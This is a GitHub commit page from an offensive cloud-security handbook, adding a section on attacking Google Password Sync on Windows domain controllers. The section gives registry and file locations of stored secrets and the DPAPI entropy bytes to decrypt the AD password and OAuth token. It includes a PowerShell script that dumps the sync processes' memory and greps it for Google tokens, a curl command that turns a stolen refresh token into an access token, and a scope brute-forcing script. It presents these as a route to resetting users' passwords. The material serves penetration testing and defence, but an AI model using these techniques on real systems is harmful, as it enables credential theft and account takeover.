Skip to content

Commit

Permalink
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
GITBOOK-695: No subject
Browse files Browse the repository at this point in the history
carlospolop authored and gitbook-bot committed Oct 11, 2024
1 parent 4fa08d2 commit fa4d56d
Showing 2 changed files with 198 additions and 12 deletions.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -230,10 +230,7 @@ $dumpFolder = "C:\Users\Public\dumps"
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
@@ -257,8 +254,8 @@ Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
@@ -1131,10 +1128,7 @@ $dumpFolder = "C:\Users\Public\dumps"
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
@@ -1158,8 +1152,8 @@ Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
@@ -1288,6 +1282,8 @@ curl -X POST \
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example
```

{% hint style="danger" %}
@@ -1347,6 +1343,196 @@ Note that Workspace require credentials with read only access over AD or EntraID

I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.

## GPS - Google Password Sync

This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.

It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).

### GPS - Configuration

To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:

* Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
* Only available in Domain Controllers with GUI
* Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
* Very bad idea as those credentials never expired and could be misused
* Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
* Google require it for domain controlled without GUI
* These creds are also stored in the registry

Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.

### GPS - Dumping password and token from disk

{% hint style="success" %}
Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
{% endhint %}

In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.

In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.

The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`

The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.

The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:

<figure><img src="../../.gitbook/assets/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>

Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).

In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.

### GPS - Dumping tokens from memory

Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.

<details>

<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>

```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service")
$chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
```

</details>

### GPS - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```

### GPS - Scopes

{% hint style="info" %}
Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.

Also, the refresh token is not valid in every application.
{% endhint %}

By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```

</details>

And this is the output I got at the time of the writing:

```
https://www.googleapis.com/auth/admin.directory.user
```

Which is the same one you get if you don't indicate any scope.

{% hint style="danger" %}
With this scope you could **modify the password of a existing user to escalate privileges**.
{% endhint %}

## References

* [https://www.youtube.com/watch?v=FEQxHRRP\_5I](https://www.youtube.com/watch?v=FEQxHRRP\_5I)

0 comments on commit fa4d56d

Please sign in to comment.